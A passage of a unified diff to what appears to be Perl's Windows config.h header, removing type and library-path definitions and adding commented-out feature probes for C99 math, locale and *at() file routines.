- *	It can be fpos_t, long, uint, etc... It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-#define Fpos_t fpos_t		/* File position type */
-
-/* Gid_t_f:
- *	This symbol defines the format string used for printing a Gid_t.
- */
-#define	Gid_t_f		"ld"		/**/
-
-/* Gid_t_sign:
- *	This symbol holds the signedness of a Gid_t.
- *	1 for unsigned, -1 for signed.
- */
-#define Gid_t_sign	-1		/* GID sign */
-
-/* Gid_t_size:
- *	This symbol holds the size of a Gid_t in bytes.
- */
-#define Gid_t_size 4		/* GID size */
-
-/* Gid_t:
- *	This symbol holds the return type of getgid() and the type of
- *	argument to setrgid() and related functions.  Typically,
- *	it is the type of group ids in the kernel. It can be int, ushort,
- *	gid_t, etc... It may be necessary to include <sys/types.h> to get
- *	any typedef'ed information.
- */
-#define Gid_t gid_t		/* Type for getgid(), etc... */
-
 /* I_DIRENT:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <dirent.h>. Using this symbol also triggers the definition
@@ -2795,12 +2059,6 @@
 /*#define I_GRP		/ **/
 /*#define GRPASSWD	/ **/
 
-/* I_MACH_CTHREADS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <mach/cthreads.h>.
- */
-/*#define   I_MACH_CTHREADS	/ **/
-
 /* I_NDBM:
  *	This symbol, if defined, indicates that <ndbm.h> exists and should
  *	be included.
@@ -2852,12 +2110,6 @@
  */
 /*#define I_NET_ERRNO		/ **/
 
-/* I_PTHREAD:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <pthread.h>.
- */
-/*#define   I_PTHREAD	/ **/
-
 /* I_PWD:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <pwd.h>.
@@ -2904,18 +2156,6 @@
 /*#define PWGECOS	/ **/
 /*#define PWPASSWD	/ **/
 
-/* I_SYS_ACCESS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/access.h>.
- */
-/*#define   I_SYS_ACCESS                / **/
-
-/* I_SYS_SECURITY:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <sys/security.h>.
- */
-/*#define   I_SYS_SECURITY	/ **/
-
 /* I_SYSUIO:
  *	This symbol, if defined, indicates that <sys/uio.h> exists and
  *	should be included.
@@ -2942,73 +2182,6 @@
 /*#define I_TERMIOS		/ **/
 /*#define I_SGTTY		/ **/
 
-/* I_TIME:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <time.h>.
- */
-/* I_SYS_TIME:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <sys/time.h>.
- */
-/* I_SYS_TIME_KERNEL:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <sys/time.h> with KERNEL defined.
- */
-/* HAS_TM_TM_ZONE:
- *	This symbol, if defined, indicates to the C program that
- *	the struct tm has a tm_zone field.
- */
-/* HAS_TM_TM_GMTOFF:
- *	This symbol, if defined, indicates to the C program that
- *	the struct tm has a tm_gmtoff field.
- */
-#define I_TIME		/**/
-/*#define I_SYS_TIME		/ **/
-/*#define I_SYS_TIME_KERNEL		/ **/
-/*#define HAS_TM_TM_ZONE		/ **/
-/*#define HAS_TM_TM_GMTOFF		/ **/
-
-/* I_STDARG:
- *	This symbol, if defined, indicates that <stdarg.h> exists and should
- *	be included.
- */
-/* I_VARARGS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <varargs.h>.
- */
-#define I_STDARG		/**/
-/*#define I_VARARGS	/ **/
-
-/* PERL_INC_VERSION_LIST:
- *	This variable specifies the list of subdirectories in over
- *	which perl.c:incpush() and lib/lib.pm will automatically
- *	search when adding directories to @INC, in a format suitable
- *	for a C initialization string.  See the inc_version_list entry
- *	in Porting/Glossary for more details.
- */
-/*#define PERL_INC_VERSION_LIST 0		/ **/
-
-/* INSTALL_USR_BIN_PERL:
- *	This symbol, if defined, indicates that Perl is to be installed
- * 	also as /usr/bin/perl.
- */
-/*#define INSTALL_USR_BIN_PERL	/ **/
-
-/* Off_t:
- *	This symbol holds the type used to declare offsets in the kernel.
- *	It can be int, long, off_t, etc... It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-/* LSEEKSIZE:
- *	This symbol holds the number of bytes used by the Off_t.
- */
-/* Off_t_size:
- *	This symbol holds the number of bytes used by the Off_t.
- */
-#define Off_t long		/* <offset> type */
-#define LSEEKSIZE 4		/* <offset> size */
-#define Off_t_size 4	/* <offset> size */
-
 /* Free_t:
  *	This variable contains the return type of free().  It is usually
  * void, but occasionally int.
@@ -3029,169 +2202,6 @@
  */
 /*#define MYMALLOC			/ **/
 
-/* Mode_t:
- *	This symbol holds the type used to declare file modes
- *	for systems calls.  It is usually mode_t, but may be
- *	int or unsigned short.  It may be necessary to include <sys/types.h>
- *	to get any typedef'ed information.
- */
-#define Mode_t mode_t	 /* file mode parameter for system calls */
-
-/* VAL_O_NONBLOCK:
- *	This symbol is to be used during open() or fcntl(F_SETFL) to turn on
- *	non-blocking I/O for the file descriptor. Note that there is no way
- *	back, i.e. you cannot turn it blocking again this way. If you wish to
- *	alternatively switch between blocking and non-blocking, use the
- *	ioctl(FIOSNBIO) call instead, but that is not supported by all devices.
- */
-/* VAL_EAGAIN:
- *	This symbol holds the errno error code set by read() when no data was
- *	present on the non-blocking file descriptor.
- */
-/* RD_NODATA:
- *	This symbol holds the return code from read() when no data is present
- *	on the non-blocking file descriptor. Be careful! If EOF_NONBLOCK is
- *	not defined, then you can't distinguish between no data and EOF by
- *	issuing a read(). You'll have to find another way to tell for sure!
- */
-/* EOF_NONBLOCK:
- *	This symbol, if defined, indicates to the C program that a read() on
- *	a non-blocking file descriptor will return 0 on EOF, and not the value
- *	held in RD_NODATA (-1 usually, in that case!).
- */
-#define VAL_O_NONBLOCK O_NONBLOCK
-#define VAL_EAGAIN EAGAIN
-#define RD_NODATA -1
-#define EOF_NONBLOCK
-
-/* Netdb_host_t:
- *	This symbol holds the type used for the 1st argument
- *	to gethostbyaddr().
- */
-/* Netdb_hlen_t:
- *	This symbol holds the type used for the 2nd argument
- *	to gethostbyaddr().
- */
-/* Netdb_name_t:
- *	This symbol holds the type used for the argument to
- *	gethostbyname().
- */
-/* Netdb_net_t:
- *	This symbol holds the type used for the 1st argument to
- *	getnetbyaddr().
- */
-#define Netdb_host_t		char * /**/
-#define Netdb_hlen_t		int /**/
-#define Netdb_name_t		char * /**/
-#define Netdb_net_t		long /**/
-
-/* PERL_OTHERLIBDIRS:
- *	This variable contains a colon-separated set of paths for the perl
- *	binary to search for additional library files or modules.
- *	These directories will be tacked to the end of @INC.
- *	Perl will automatically search below each path for version-
- *	and architecture-specific directories.  See PERL_INC_VERSION_LIST
- *	for more details.
- */
-/*#define PERL_OTHERLIBDIRS ""		/ **/
-
-/* Pid_t:
- *	This symbol holds the type used to declare process ids in the kernel.
- *	It can be int, uint, pid_t, etc... It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-#define Pid_t int		/* PID type */
-
-/* PRIVLIB:
- *	This symbol contains the name of the private library for this package.
- *	The library is private in the sense that it needn't be in anyone's
- *	execution path, but it should be accessible by the world.  The program
- *	should be prepared to do ~ expansion.
- */
-/* PRIVLIB_EXP:
- *	This symbol contains the ~name expanded version of PRIVLIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-#define PRIVLIB "c:\\perl\\lib"		/**/
-#define PRIVLIB_EXP (PerlEnv_lib_path(PERL_VERSION_STRING, NULL))	/**/
-
-/* CAN_PROTOTYPE:
- *	If defined, this macro indicates that the C compiler can handle
- *	function prototypes.
- */
-/* _:
- *	This macro is used to declare function parameters for folks who want
- *	to make declarations with prototypes using a different style than
- *	the above macros.  Use double parentheses.  For example:
- *
- *		int main _((int argc, char *argv[]));
- */
-#define	CAN_PROTOTYPE	/**/
-#ifdef CAN_PROTOTYPE
-#define	_(args) args
-#else
-#define	_(args) ()
-#endif
-
-/* PTRSIZE:
- *	This symbol contains the size of a pointer, so that the C preprocessor
- *	can make decisions based on it.  It will be sizeof(void *) if
- *	the compiler supports (void *); otherwise it will be
- *	sizeof(char *).
- */
-#define PTRSIZE 4		/**/
-
-/* HAS_QUAD:
- *	This symbol, if defined, tells that there's a 64-bit integer type,
- *	Quad_t, and its unsigned counterpart, Uquad_t. QUADKIND will be one
- *	of QUAD_IS_INT, QUAD_IS_LONG, QUAD_IS_LONG_LONG, QUAD_IS_INT64_T,
- *	or QUAD_IS___INT64.
- */
-#define HAS_QUAD	/**/
-#ifdef HAS_QUAD
-#   define Quad_t long long	/**/
-#   define Uquad_t unsigned long long	/**/
-#   define QUADKIND 3	/**/
-#   define QUAD_IS_INT	1
-#   define QUAD_IS_LONG	2
-#   define QUAD_IS_LONG_LONG	3
-#   define QUAD_IS_INT64_T	4
-#   define QUAD_IS___INT64	5
-#endif
-
-/* Drand01:
- *	This macro is to be used to generate uniformly distributed
- *	random numbers over the range [0., 1.[.  You may have to supply
- *	an 'extern double drand48();' in your program since SunOS 4.1.3
- *	doesn't provide you with anything relevant in its headers.
- *	See HAS_DRAND48_PROTO.
- */
-/* Rand_seed_t:
- *	This symbol defines the type of the argument of the
- *	random seed function.
- */
-/* seedDrand01:
- *	This symbol defines the macro to be used in seeding the
- *	random number generator (see Drand01).
- */
-/* RANDBITS:
- *	This symbol indicates how many bits are produced by the
- *	function used to generate normalized random numbers.
- *	Values include 15, 16, 31, and 48.
- */
-#define Drand01()		Perl_drand48()		/**/
-#define Rand_seed_t		U32		/**/
-#define seedDrand01(x)	Perl_drand48_init((Rand_seed_t)x)	/**/
-#define RANDBITS		48		/**/
-
-/* Select_fd_set_t:
- *	This symbol holds the type used for the 2nd, 3rd, and 4th
- *	arguments to select.  Usually, this is 'fd_set *', if HAS_FD_SET
- *	is defined, and 'int *' otherwise.  This is only useful if you
- *	have select(), of course.
- */
-#define Select_fd_set_t 	Perl_fd_set *	/**/
-
 /* SH_PATH:
  *	This symbol contains the full pathname to the shell used on this
  *	on this system to execute Bourne shell scripts.  Usually, this will be
@@ -3241,162 +2251,6 @@
 #define SIG_NUM  0, 1, 2, 21, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 20, 0		/**/
 #define SIG_SIZE 27			/**/
 
-/* SITEARCH:
- *	This symbol contains the name of the private library for this package.
- *	The library is private in the sense that it needn't be in anyone's
- *	execution path, but it should be accessible by the world.  The program
- *	should be prepared to do ~ expansion.
- *	The standard distribution will put nothing in this directory.
- *	After perl has been installed, users may install their own local
- *	architecture-dependent modules in this directory with
- *		MakeMaker Makefile.PL
- *	or equivalent.  See INSTALL for details.
- */
-/* SITEARCH_EXP:
- *	This symbol contains the ~name expanded version of SITEARCH, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-#define SITEARCH "c:\\perl\\site\\lib"		/**/
-/*#define SITEARCH_EXP ""	/ **/
-
-/* SITELIB:
- *	This symbol contains the name of the private library for this package.
- *	The library is private in the sense that it needn't be in anyone's
- *	execution path, but it should be accessible by the world.  The program
- *	should be prepared to do ~ expansion.
- *	The standard distribution will put nothing in this directory.
- *	After perl has been installed, users may install their own local
- *	architecture-independent modules in this directory with
- *		MakeMaker Makefile.PL
- *	or equivalent.  See INSTALL for details.
- */
-/* SITELIB_EXP:
- *	This symbol contains the ~name expanded version of SITELIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-/* SITELIB_STEM:
- *	This define is SITELIB_EXP with any trailing version-specific component
- *	removed.  The elements in inc_version_list (inc_version_list.U) can
- *	be tacked onto this variable to generate a list of directories to search.
- */
-#define SITELIB "c:\\perl\\site\\lib"		/**/
-#define SITELIB_EXP (PerlEnv_sitelib_path(PERL_VERSION_STRING, NULL))	/**/
-#define SITELIB_STEM ""		/**/
-
-/* Size_t_size:
- *	This symbol holds the size of a Size_t in bytes.
- */
-#define Size_t_size 4		/**/
-
-/* Size_t:
- *	This symbol holds the type used to declare length parameters
- *	for string functions.  It is usually size_t, but may be
- *	unsigned long, int, etc.  It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-#define Size_t size_t	 /* length parameter for string functions */
-
-/* Sock_size_t:
- *	This symbol holds the type used for the size argument of
- *	various socket calls (just the base type, not the pointer-to).
- */
-#define Sock_size_t		int /**/
-
-/* SSize_t:
- *	This symbol holds the type used by functions that return
- *	a count of bytes or an error condition.  It must be a signed type.
- *	It is usually ssize_t, but may be long or int, etc.
- *	It may be necessary to include <sys/types.h> or <unistd.h>
- *	to get any typedef'ed information.
- *	We will pick a type such that sizeof(SSize_t) == sizeof(Size_t).
- */
-#define SSize_t int	 /* signed count of bytes */
-
-/* STDCHAR:
- *	This symbol is defined to be the type of char used in stdio.h.
- *	It has the values "unsigned char" or "char".
- */
-#define STDCHAR char	/**/
-
-/* Uid_t_f:
- *	This symbol defines the format string used for printing a Uid_t.
- */
-#define	Uid_t_f		"ld"		/**/
-
-/* Uid_t_sign:
- *	This symbol holds the signedness of a Uid_t.
- *	1 for unsigned, -1 for signed.
- */
-#define Uid_t_sign	-1		/* UID sign */
-
-/* Uid_t_size:
- *	This symbol holds the size of a Uid_t in bytes.
- */
-#define Uid_t_size 4		/* UID size */
-
-/* Uid_t:
- *	This symbol holds the type used to declare user ids in the kernel.
- *	It can be int, ushort, uid_t, etc... It may be necessary to include
- *	<sys/types.h> to get any typedef'ed information.
- */
-#define Uid_t uid_t		/* UID type */
-
-/* USE_ITHREADS:
- *	This symbol, if defined, indicates that Perl should be built to
- *	use the interpreter-based threading implementation.
- */
-/* USE_5005THREADS:
- *	This symbol, if defined, indicates that Perl should be built to
- *	use the 5.005-based threading implementation.
- *	Only valid up to 5.8.x.
- */
-/* OLD_PTHREADS_API:
- *	This symbol, if defined, indicates that Perl should
- *	be built to use the old draft POSIX threads API.
- */
-/* USE_REENTRANT_API:
- *	This symbol, if defined, indicates that Perl should
- *	try to use the various _r versions of library functions.
- *	This is extremely experimental.
- */
-/*#define	USE_5005THREADS		/ **/
-/*#define	USE_ITHREADS		/ **/
-#if defined(USE_5005THREADS) && !defined(USE_ITHREADS)
-#define		USE_THREADS		/* until src is revised*/
-#endif
-/*#define	OLD_PTHREADS_API		/ **/
-/*#define	USE_REENTRANT_API	/ **/
-
-/* PERL_VENDORARCH:
- *	If defined, this symbol contains the name of a private library.
- *	The library is private in the sense that it needn't be in anyone's
- *	execution path, but it should be accessible by the world.
- *	It may have a ~ on the front.
- *	The standard distribution will put nothing in this directory.
- *	Vendors who distribute perl may wish to place their own
- *	architecture-dependent modules and extensions in this directory with
- *		MakeMaker Makefile.PL INSTALLDIRS=vendor
- *	or equivalent.  See INSTALL for details.
- */
-/* PERL_VENDORARCH_EXP:
- *	This symbol contains the ~name expanded version of PERL_VENDORARCH, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-/*#define PERL_VENDORARCH ""		/ **/
-/*#define PERL_VENDORARCH_EXP ""		/ **/
-
-/* PERL_VENDORLIB_EXP:
- *	This symbol contains the ~name expanded version of VENDORLIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
- */
-/* PERL_VENDORLIB_STEM:
- *	This define is PERL_VENDORLIB_EXP with any trailing version-specific component
- *	removed.  The elements in inc_version_list (inc_version_list.U) can
- *	be tacked onto this variable to generate a list of directories to search.
- */
-/*#define PERL_VENDORLIB_EXP ""		/ **/
-/*#define PERL_VENDORLIB_STEM ""		/ **/
-
 /* USE_CROSS_COMPILE:
  *	This symbol, if defined, indicates that Perl is being cross-compiled.
  */
@@ -3446,6 +2300,18 @@
  */
 /*#define HAS_AINTL		/ **/
 
+/* HAS_ASINH:
+ *	This symbol, if defined, indicates that the asinh routine is
+ *	available to do the inverse hyperbolic sine function.
+ */
+/*#define HAS_ASINH		/ **/
+
+/* HAS_ATANH:
+ *	This symbol, if defined, indicates that the atanh routine is
+ *	available to do the inverse hyperbolic tangent function.
+ */
+/*#define HAS_ATANH		/ **/
+
 /* HAS_BUILTIN_CHOOSE_EXPR:
  *	Can we handle GCC builtin for compile-time ternary-like expressions
  */
@@ -3491,6 +2357,12 @@
  */
 /*#define HAS_STRUCT_CMSGHDR	/ **/
 
+/* HAS_COPYSIGN:
+ *	This symbol, if defined, indicates that the copysign routine is
+ *	available to do the copysign function.
+ */
+/*#define HAS_COPYSIGN		/ **/
+
 /* HAS_COPYSIGNL:
  *	This symbol, if defined, indicates that the copysignl routine is
  *	available.  If aintl is also present we can emulate modfl.
@@ -3531,6 +2403,30 @@
  */
 /*#define 	DLSYM_NEEDS_UNDERSCORE 	/ **/
 
+/* HAS_ERF:
+ *	This symbol, if defined, indicates that the erf routine is
+ *	available to do the error function.
+ */
+/*#define HAS_ERF		/ **/
+
+/* HAS_ERFC:
+ *	This symbol, if defined, indicates that the erfc routine is
+ *	available to do the complementary error function.
+ */
+/*#define HAS_ERFC		/ **/
+
+/* HAS_EXP2:
+ *	This symbol, if defined, indicates that the exp2 routine is
+ *	available to do the 2**x function.
+ */
+/*#define HAS_EXP2		/ **/
+
+/* HAS_EXPM1:
+ *	This symbol, if defined, indicates that the expm1 routine is
+ *	available to do the exp(x) - 1 when x is near 1 function.
+ */
+/*#define HAS_EXPM1		/ **/
+
 /* HAS_FAST_STDIO:
  *	This symbol, if defined, indicates that the "fast stdio"
  *	is available to manipulate the stdio buffers directly.
@@ -3550,6 +2446,19 @@
  */
 /*#define FCNTL_CAN_LOCK		/ **/
 
+/* HAS_FDCLOSE:
+ *	This symbol, if defined, indicates that the fdclose routine is
+ *	available to free a FILE structure without closing the underlying
+ *	file descriptor.  This function appeared in FreeBSD 10.2.
+ */
+/*#define HAS_FDCLOSE		/ **/
+
+/* HAS_FDIM:
+ *	This symbol, if defined, indicates that the fdim routine is
+ *	available to do the positive difference function.
+ */
+/*#define HAS_FDIM		/ **/
+
 /* HAS_FEGETROUND:
  *	This symbol, if defined, indicates that the fegetround routine is
  *	available to return the macro corresponding to the current rounding
@@ -3578,6 +2487,24 @@
  */
 #define	HAS_FLOCK_PROTO	/**/
 
+/* HAS_FMA:
+ *	This symbol, if defined, indicates that the fma routine is
+ *	available to do the multiply-add function.
+ */
+/*#define HAS_FMA		/ **/
+
+/* HAS_FMAX:
+ *	This symbol, if defined, indicates that the fmax routine is
+ *	available to do the maximum function.
+ */
+/*#define HAS_FMAX		/ **/
+
+/* HAS_FMIN:
+ *	This symbol, if defined, indicates that the fmin routine is
+ *	available to do the minimum function.
+ */
+/*#define HAS_FMIN		/ **/
+
 /* HAS_FP_CLASS:
  *	This symbol, if defined, indicates that the fp_class routine is
  *	available to classify doubles.  Available for example in Digital UNIX.
@@ -3689,6 +2616,27 @@
  */
 /*#define HAS_STRUCT_FS_DATA	/ **/
 
+/* HAS_FCHMODAT:
+ *	This symbol is defined if the fchmodat() routine is available.
+ */
+/* HAS_LINKAT:
+ *	This symbol is defined if the linkat() routine is available.
+ */
+/* HAS_OPENAT:
+ *	This symbol is defined if the openat() routine is available.
+ */
+/* HAS_RENAMEAT:
+ *	This symbol is defined if the renameat() routine is available.
+ */
+/* HAS_UNLINKAT:
+ *	This symbol is defined if the unlinkat() routine is available.
+ */
+/*#define	HAS_FCHMODAT	/ **/
+/*#define	HAS_LINKAT	/ **/
+/*#define	HAS_OPENAT	/ **/
+/*#define	HAS_RENAMEAT	/ **/
+/*#define	HAS_UNLINKAT	/ **/
+
 /* HAS_FSEEKO:
  *	This symbol, if defined, indicates that the fseeko routine is
  *	available to fseek beyond 32 bits (useful for ILP32 hosts).
@@ -3720,6 +2668,13 @@
  */
 /*#define HAS_FUTIMES		/ **/
 
+/* HAS_GAI_STRERROR:
+ *	This symbol, if defined, indicates that the gai_strerror routine
+ *	is available to translate error codes returned by getaddrinfo()
+ *	into human readable strings.
+ */
+/*#define HAS_GAI_STRERROR	/ **/
+
 /* HAS_GETADDRINFO:
  *	This symbol, if defined, indicates that the getaddrinfo() function
  *	is available for use.
@@ -3786,6 +2741,18 @@
  */
 /*#define HAS_HASMNTOPT		/ **/
 
+/* HAS_HYPOT:
+ *	This symbol, if defined, indicates that the hypot routine is
+ *	available to do the hypotenuse function.
+ */
+/*#define HAS_HYPOT		/ **/
+
+/* HAS_ILOGB:
+ *	This symbol, if defined, indicates that the ilogb routine is
+ *	available to get integer exponent of a floating-point value.
+ */
+/*#define HAS_ILOGB		/ **/
+
 /* HAS_ILOGBL:
  *	This symbol, if defined, indicates that the ilogbl routine is
  *	available.  If scalbnl is also present we can emulate frexpl.
@@ -3842,6 +2809,12 @@
  */
 /*#define HAS_ISINFL		/ **/
 
+/* HAS_ISLESS:
+ *	This symbol, if defined, indicates that the isless routine is
+ *	available to do the isless function.
+ */
+/*#define HAS_ISLESS		/ **/
+
 /* HAS_ISNAN:
  *	This symbol, if defined, indicates that the isnan routine is
  *	available to check whether a double is a NaN.
@@ -3854,6 +2827,12 @@
  */
 /*#define HAS_ISNANL		/ **/
 
+/* HAS_ISNORMAL:
+ *	This symbol, if defined, indicates that the isnormal routine is
+ *	available to check whether a double is normal (non-zero normalized).
+ */
+/*#define HAS_ISNORMAL		/ **/
+
 /* HAS_J0:
  *	This symbol, if defined, indicates to the C program that the
  *	j0() function is available for Bessel functions of the first
@@ -3867,6 +2846,12 @@
 /*#define	HAS_J0		/ **/
 /*#define	HAS_J0L		/ **/
 
+/* HAS_LC_MONETARY_2008:
+ *	This symbol, if defined, indicates that the localeconv routine is
+ *	available and has the additional members added in POSIX 1003.1-2008.
+ */
+/*#define HAS_LC_MONETARY_2008		/ **/
+
 /* HAS_LDBL_DIG:
  *	This symbol, if defined, indicates that this system's <float.h>
  *	or <limits.h> defines the symbol LDBL_DIG, which is the number
@@ -3875,6 +2860,20 @@
  */
 #define HAS_LDBL_DIG 	/**/
 
+/* HAS_LGAMMA:
+ *	This symbol, if defined, indicates that the lgamma routine is
+ *	available to do the log gamma function.  See also HAS_TGAMMA and
+ *	HAS_LGAMMA_R.
+ */
+/*#define HAS_LGAMMA		/ **/
+
+/* HAS_LGAMMA_R:
+ *	This symbol, if defined, indicates that the lgamma_r routine is
+ *	available to do the log gamma function without using the global
+ *	signgam variable.
+ */
+/*#define HAS_LGAMMA_R		/ **/
+
 /* LIBM_LIB_VERSION:
  *	This symbol, if defined, indicates that libm exports _LIB_VERSION
  *	and that math.h defines the enum to manipulate it.
@@ -3881,6 +2880,78 @@
  */
 /*#define LIBM_LIB_VERSION		/ **/
 
+/* HAS_LLRINT:
+ *	This symbol, if defined, indicates that the llrint routine is
+ *	available to return the long long value closest to a double
+ *	(according to the current rounding mode).
+ */
+/*#define HAS_LLRINT		/ **/
+
+/* HAS_LLRINTL:
+ *	This symbol, if defined, indicates that the llrintl routine is
+ *	available to return the long long value closest to a long double
+ *	(according to the current rounding mode).
+ */
+/*#define HAS_LLRINTL		/ **/
+
+/* HAS_LLROUND:
+ *	This symbol, if defined, indicates that the llround routine is
+ *	available to return the nearest long long value.
+ */
+/*#define HAS_LLROUND		/ **/
+
+/* HAS_LLROUNDL:
+ *	This symbol, if defined, indicates that the llroundl routine is
+ *	available to return the nearest long long value away from zero of
+ *	the long double argument value.
+ */
+/*#define HAS_LLROUNDL		/ **/
+
+/* HAS_LOG1P:
+ *	This symbol, if defined, indicates that the log1p routine is
+ *	available to do the logarithm of 1 plus argument function.
+ */
+/*#define HAS_LOG1P		/ **/
+
+/* HAS_LOG2:
+ *	This symbol, if defined, indicates that the log2 routine is
+ *	available to do the log2 function.
+ */
+/*#define HAS_LOG2		/ **/
+
+/* HAS_LOGB:
+ *	This symbol, if defined, indicates that the logb routine is
+ *	available to do the logb function.
+ */
+/*#define HAS_LOGB		/ **/
+
+/* HAS_LRINT:
+ *	This symbol, if defined, indicates that the lrint routine is
+ *	available to return the integral value closest to a double
+ *	(according to the current rounding mode).
+ */
+/*#define HAS_LRINT		/ **/
+
+/* HAS_LRINTL:
+ *	This symbol, if defined, indicates that the lrintl routine is
+ *	available to return the integral value closest to a long double
+ *	(according to the current rounding mode).
+ */
+/*#define HAS_LRINTL		/ **/
+
+/* HAS_LROUND:
+ *	This symbol, if defined, indicates that the lround routine is
+ *	available to return the nearest integral value.
+ */
+/*#define HAS_LROUND		/ **/
+
+/* HAS_LROUNDL:
+ *	This symbol, if defined, indicates that the lroundl routine is
+ *	available to return the nearest integral value away from zero of
+ *	the long double argument value.
+ */
+/*#define HAS_LROUNDL		/ **/
+
 /* HAS_MADVISE:
  *	This symbol, if defined, indicates that the madvise system call is
  *	available to map a file into memory.
@@ -3899,6 +2970,20 @@
  */
 /*#define HAS_MALLOC_GOOD_SIZE	/ **/
 
+/* HAS_MEMMEM:
+ *	This symbol, if defined, indicates that the memmem routine is
+ *	available to return a pointer to the start of the first occurance
+ *	of a substring in a memory area (or NULL if not found).
+ */
+/*#define HAS_MEMMEM		/ **/
+
+/* HAS_MEMRCHR:
+ *	This symbol, if defined, indicates that the memrchr routine is
+ *	available to return a pointer to the last occurrence of a byte in
+ *	a memory area (or NULL if not found).
+ */
+/*#define HAS_MEMRCHR		/ **/
+
 /* HAS_MKDTEMP:
  *	This symbol, if defined, indicates that the mkdtemp routine is
  *	available to exclusively create a uniquely named temporary directory.
@@ -3937,6 +3022,60 @@
  */
 /*#define HAS_STRUCT_MSGHDR	/ **/
 
+/* HAS_NAN:
+ *	This symbol, if defined, indicates that the nan routine is
+ *	available to generate NaN.
+ */
+/*#define HAS_NAN		/ **/
+
+/* HAS_NEARBYINT:
+ *	This symbol, if defined, indicates that the nearbyint routine is
+ *	available to return the integral value closest to (according to
+ *	the current rounding mode) to x.
+ */
+/*#define HAS_NEARBYINT		/ **/
+
+/* HAS_NEWLOCALE:
+ *	This symbol, if defined, indicates that the newlocale routine is
+ *	available to return a new locale object or modify an existing
+ *	locale object.
+ */
+/* HAS_FREELOCALE:
+ *	This symbol, if defined, indicates that the freelocale routine is
+ *	available to deallocates the resources associated with a locale object.
+ */
+/* HAS_USELOCALE:
+ *	This symbol, if defined, indicates that the uselocale routine is
+ *	available to set the current locale for the calling thread.
+ */
+/* HAS_QUERYLOCALE:
+ *	This symbol, if defined, indicates that the querylocale routine is
+ *	available to return the name of the locale for a category mask.
+ */
+/* I_XLOCALE:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <xlocale.h> to get uselocale() and its friends.
+ */
+/*#define	HAS_NEWLOCALE	/ **/
+/*#define	HAS_FREELOCALE	/ **/
+/*#define	HAS_USELOCALE	/ **/
+/*#define	HAS_QUERYLOCALE	/ **/
+/*#define	I_XLOCALE               / **/
+
+/* HAS_NEXTAFTER:
+ *	This symbol, if defined, indicates that the nextafter routine is
+ *	available to return the next machine representable double from
+ *	x in direction y.
+ */
+/*#define HAS_NEXTAFTER		/ **/
+
+/* HAS_NEXTTOWARD:
+ *	This symbol, if defined, indicates that the nexttoward routine is
+ *	available to return the next machine representable long double from
+ *	x in direction y.
+ */
+/*#define HAS_NEXTTOWARD		/ **/
+
 /* HAS_NL_LANGINFO:
  *	This symbol, if defined, indicates that the nl_langinfo routine is
  *	available to return local data.  You will also need <langinfo.h>
@@ -3952,6 +3091,8 @@
 /* HAS_PRCTL:
  *	This symbol, if defined, indicates that the prctl routine is
  *	available to set process title.
+ *	Note that there are at least two prctl variants: Linux and Irix.
+ *	While they are somewhat similar, they are incompatible.
  */
 /* HAS_PRCTL_SET_NAME:
  *	This symbol, if defined, indicates that the prctl routine is
@@ -3999,6 +3140,31 @@
  */
 /*#define HAS_RECVMSG		/ **/
 
+/* HAS_REMAINDER:
+ *	This symbol, if defined, indicates that the remainder routine is
+ *	available to return the floating-point remainder.
+ */
+/*#define HAS_REMAINDER		/ **/
+
+/* HAS_REMQUO:
+ *	This symbol, if defined, indicates that the remquo routine is
+ *	available to return the remainder and part of quotient.
+ */
+/*#define HAS_REMQUO		/ **/
+
+/* HAS_RINT:
+ *	This symbol, if defined, indicates that the rint routine is
+ *	available to return the nearest integral value to x as double
+ *	using the current rounding mode.
+ */
+/*#define HAS_RINT		/ **/
+
+/* HAS_ROUND:
+ *	This symbol, if defined, indicates that the round routine is
+ *	available to round to nearest integer, away from zero.
+ */
+/*#define HAS_ROUND		/ **/
+
 /* HAS_SBRK_PROTO:
  *	This symbol, if defined, indicates that the system provides
  *	a prototype for the sbrk() function.  Otherwise, it is up
@@ -4008,6 +3174,13 @@
  */
 /*#define	HAS_SBRK_PROTO	/ **/
 
+/* HAS_SCALBN:
+ *	This symbol, if defined, indicates that the scalbn routine is
+ *	available to multiply floating-point number by integral power
+ *	of radix.
+ */
+/*#define HAS_SCALBN		/ **/
+
 /* HAS_SCALBNL:
  *	This symbol, if defined, indicates that the scalbnl routine is
  *	available.  If ilogbl is also present we can emulate frexpl.
@@ -4088,14 +3261,6 @@
  */
 /*#define HAS_SOCKS5_INIT		/ **/
 
-/* SPRINTF_RETURNS_STRLEN:
- *	This variable defines whether sprintf returns the length of the string
- *	(as per the ANSI spec). Some C libraries retain compatibility with
- *	pre-ANSI C and return a pointer to the passed in buffer; for these
- *	this variable will be undef.
- */
-#define SPRINTF_RETURNS_STRLEN	/**/
-
 /* HAS_SQRTL:
  *	This symbol, if defined, indicates that the sqrtl routine is
  *	available to do long double square roots.
@@ -4141,6 +3306,13 @@
  */
 /*#define HAS_FSTATVFS		/ **/
 
+/* HAS_STRERROR_L:
+ *	This symbol, if defined, indicates that the strerror_l routine is
+ *	available to return the error message for a given errno value in
+ *	a particular locale (identified by a locale_t object).
+ */
+/*#define HAS_STRERROR_L		/ **/
+
 /* HAS_STRFTIME:
  *	This symbol, if defined, indicates that the strftime routine is
  *	available to do time formatting.
@@ -4206,6 +3378,12 @@
  */
 #define	HAS_TELLDIR_PROTO	/**/
 
+/* HAS_TGAMMA:
